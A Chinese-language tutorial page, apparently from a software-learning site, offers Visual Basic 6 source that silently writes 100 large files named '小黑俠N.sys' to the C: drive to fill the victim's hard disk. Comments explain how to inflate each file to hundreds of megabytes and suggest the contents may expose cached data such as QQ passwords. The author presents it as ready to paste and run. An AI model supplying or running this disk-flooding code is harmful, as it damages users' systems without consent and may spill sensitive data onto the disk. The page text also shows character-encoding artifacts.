明輝手游網(wǎng)中心：是一個免費提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺！

真正用VB產(chǎn)生隨機任意大小文件擠滿硬盤

發(fā)表時間：2024-02-19 來源：明輝站整理相關(guān)軟件相關(guān)文章人氣：

[摘要]Private Sub Form_Load()On Error Resume Next For h = 1 To 100 　　注釋：(這個100為寫入文件的個數(shù)，就是向C盤下寫100個文件)　　 Open "c:\小黑俠" + CStr(h) + ".sys"...
Private Sub Form_Load()

On Error Resume Next

For h = 1 To 100 　　注釋：(這個100為寫入文件的個數(shù)，就是向C盤下寫100個文件)

　　 Open "c:\小黑俠" + CStr(h) + ".sys" For Random As 1
　　注釋：(在C盤下產(chǎn)生文件 類似 "小黑俠x.sys" x為數(shù)字)
DoEvents

Put #1, 30000, "小黑俠"

　　 注釋：這里的這個30000是控制生成文件大小的。
　　 注釋：30000產(chǎn)生的文件大小是3.6M左右
　　 注釋：10000產(chǎn)生的文件大小是1.2M左右
　　 注釋：如果你改為3000000的話，那就是360M，不要太壞哦！
　　 注釋：如果你想知道那么大的文件里面是什么，那就就用寫字板打開看就是了，可能里面還有你的QQ密碼也說不定。因為這些內(nèi)容都是在你的緩存文件里隨機產(chǎn)生的。不過你會在文件的最后一行看到有一個神秘的字符，那就是“小黑俠”字樣。呵呵，我跑到你電腦里去玩了。

Close #1 　　注釋：關(guān)閉打開的文件句柄
Next
End Sub

以是程序可以直接粘帖到VB工程文件中去即可執(zhí)行。
代碼很簡單，相信聰明的你一定看得懂。


在下小黑俠是也，歡迎各位來信交流
email:wl3000wl@163.com
Oicq:46393567